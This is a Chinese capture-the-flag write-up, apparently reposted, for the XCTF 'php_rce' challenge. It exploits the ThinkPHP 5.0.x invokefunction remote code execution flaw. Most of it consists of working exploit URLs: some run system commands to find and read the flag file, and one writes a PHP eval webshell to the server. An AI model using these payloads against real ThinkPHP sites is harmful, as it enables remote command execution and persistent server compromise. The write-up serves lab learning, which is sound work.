攻防世界-web-php_rce(ThinkPHP 5.0命令執行漏洞)


本題進入場景后顯示如下頁面

這是一個 thinkphp 框架,先查看版本號。在網址上隨意輸入一個不存在的模塊 地址:

可以看到,thinkphp 版本為 5.0.20。

搜索發現,ThinkPHP 5.0.0-5.0.23 存在遠程代碼執行漏洞。

漏洞成因可參考:https://www.cnblogs.com/backlion/p/10106676.html

網上有很多現成的POC,可以直接拿來使用。

方法一:

首先,查找flag文件

/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php -r 'system("find / -name 'flag'");'

或者

/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"

接着,查看flag。

/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php -r 'system("cat /flag");'

或者

/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

方法二:

寫入一句話木馬

/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=test.php&vars[1][]=<?php highlight_file(__FILE__);@eval($_POST[sss]);?>

如果成功寫入會返回文件的大小,嘗試去訪問該文件:

然后直接上菜刀。(連接失敗,不知道為啥。。。)

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM